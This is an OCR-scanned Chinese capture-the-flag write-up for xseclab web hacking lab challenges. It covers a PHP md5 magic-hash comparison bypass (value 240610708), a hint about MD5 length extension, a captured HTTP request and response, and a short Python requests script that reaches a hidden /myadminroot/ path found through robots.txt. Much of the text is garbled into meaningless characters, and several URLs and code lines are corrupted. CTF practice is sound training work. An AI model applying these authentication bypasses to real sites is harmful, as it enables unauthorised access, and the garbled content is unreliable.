11793422703!

IS

Result:
uLERI0:=332932043729729062996282883873

T LA B, md5 {8 2 0e FF 3k iy 2 25 1) 1 1% R php " ==" R 38 [ 88 BT LATRAT R B ik postif 4 md5 135 5 FF 3k th 2 0eBtAT T,
FEX MR AR AR 2L 240610708

POS E‘ ib.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/ | acs—wa || =tz [ViERBodyZE] MigkHeader

BodyS#IETH BodyS#i{E

password 240610708 HHERSE
w23 | rRawikEEEN

HeaderZ#H Header{B

Response Header Response Body /

Hhi7AdIE] : 1.0606799125671 <a href="code.txt">__</a>yes/iummiver!

HTTP/1.1 200 OK

[

8/NBAZ LT —ANRAEAF I /N Ot

NE BT —ANMRIRATF RN, TR 45 5 A8 — i 5 A A R 9 77 3K 1R a3 1, 5 2 A 7 S PR SR TR L T — AN ST
TR

Tips: &3 AR BB AT AR EE, 75 70 W H b AR S R E PRI EE WA KNS

BARTF R AE

9.5 %4 PRI i S BUE B S0
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Tips: MD5 Length Extension Attack!
Tips: B .4 & &) fetc/hosts U4, 2 BE I BB AR 7 R 48 304 BV AT 3R EX Flag.
Info: 3 i85 $3 4 B 321

BB B~


http://hacklist-cdn.stor.sinaapp.com/hardware/hackinglab-logic.logicdata
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php
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Go Cancel < |v 2| Target: http:/flab1.x

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /basel4_2d7aae2ae829d1d5f45c59e8046bbob4/ step2. php HITP/1.1 A HITF/1.1 200 OK

Host: labl.=zseclab. com r Server: sae

User-Agent: Mozilla/5.0 (Windows NI 10.0: Winf4: x64: rv:49.0) Gecko/20100101 Firefox/49.0 Commection: keep-alive

Accept: text/html, application/zhtml+xnl, application/=zml:g=0.9, */*;q=0.8 Date: Fri, 28 Oct 2016 03:18:29 GMI
Accept-Language: zh-CIT. gh;gq=0.8, en-U5:¢=0. 5, en:g=0. 3 Cache-Control: no-store
Accept-Encoding: gzip. deflate Content-Type: text/htnl: charset=utf-§
Referer: http://labl.xzseclab. con/baseld 2d7aasz2ae829d1d5£45c59e3046bhe54/ step2. php Pragma: no-cache

Cockie: PHPSESSID=cc050deffh0301be82f43926c4a3ball Via: 10.67.15.22

Commection: keep-alive X-Daa-Tunnel: hop_count=1
Upgrade-Insecure-Requests: 1 Content-Length: 77

Content-Type: application/z-www—form—urlencoded

Content-Length; 42 <seriptralert (C FHUEERE KT 7)) cwindow. location=". /main. php” :</script>
username=adminktel=13388633714kveode=20947

PR UE EadminfHE 7 HFHEERN®BEEREER
keyst ik T

2 BHENBRREA RE SR B %
ARSQLIEAN
188 5% M b

B {6 a4 B R 3-8 "error” & T — Frobots.txt, & Bl "Disallow: /myadminroot/”
FTFFEE "Please login first!” BT LA 55 % 3, B 7 8] /myadminroot. 5 4> pythoni


http://lab1.xseclab.com/base14_2d7aae2ae829d1d5f45c59e8046bbc54/
http://lab1.xseclab.com/pentest3_307c0281537de1615673af8c1d54885a/

import requests

r = requests.Session()

url = "http://labl.xseclab.com/pentest3_307c0281537del1615673af8c1d54885a/"
data = {'username': '1', 'password': '1'}

r.post(url, data=data)

url2 = 'http://labl.xseclab.com/pentest3_307c0281537del615673af8c1d54885a/myadminroot/"
print r.get(url2).content

41 & please login as admin!”. #} . username 1118 B vadminf K — Ik
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